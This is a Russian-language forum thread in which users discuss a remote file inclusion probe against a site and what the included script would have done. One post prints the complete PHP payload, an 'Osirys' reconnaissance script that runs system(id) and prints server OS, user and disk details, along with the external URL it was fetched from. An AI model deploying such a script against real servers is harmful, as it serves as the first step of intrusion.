Что бы было, если бы скрипт выполнился?

классический тест на ХСС. Инклюд с внешнего сайта.

Это пытались шелл выполнить.

А вы наберите в браузере ссылку http://www.easysupportdesk.com/cache/id.txt посмотрите, обычненький такой скриптик. Ниче страшного там не происходит, но 100% после нахождения такой уязвимости последовал бы другой скрипт, в котором уже можно было делать все что угодно, может просто бы побаловались над сайтом

dkameleon, seolancer, ну вообщем я так и думал.

Andy.Eko, я смотрел, по некоторым моментам понял идею (хотя она и без просмотра ясна), просто хотелось узнать более точно.

stalker37, Смотрели это файл? И антивирус не заорал? У меня нод пишет PHP/Zapchast.NAD - троян.

Если сервер настроен правильно и в Вашем скрипте идет нормальная обработка GET запроса - ничего и никогда не произойдет. Скорее всего это стандартная дыра в како-то кривой CMS

и сайт ТС попал под тупой перебор сайтов на наличие этой CMS/скрипта и возможность использования дыры.

а может рефспам :) хотя вряд ли

<?php

function ConvertBytes($number) {

$len = strlen($number);

if($len < 4) {

return sprintf("%d b", $number); }

if($len >= 4 && $len <=6) {

return sprintf("%0.2f Kb", $number/1024); }

if($len >= 7 && $len <=9) {

return sprintf("%0.2f Mb", $number/1024/1024); }

return sprintf("%0.2f Gb", $number/1024/1024/1024); }                          



echo "Osirys<br>";

$un = @php_uname();

$id1 = system(id);

$pwd1 = @getcwd();

$free1= diskfreespace($pwd1);

$free = ConvertBytes(diskfreespace($pwd1));

if (!$free) {$free = 0;}

$all1= disk_total_space($pwd1);

$all = ConvertBytes(disk_total_space($pwd1));

if (!$all) {$all = 0;}

$used = ConvertBytes($all1-$free1);

$os = @PHP_OS;



echo "0sirys was here ..<br>";

echo "uname -a: $un<br>";

echo "os: $os<br>";

echo "id: $id1<br>";

echo "free: $free<br>";

echo "used: $used<br>";

echo "total: $all<br>";

exit;

На что орать то? Обычные параметры сервера смотрит ) Ну а потом уже как и писалось выше - Все что угодно запускается)

Видимо поэтому антивирус и называет его "запчасть" :D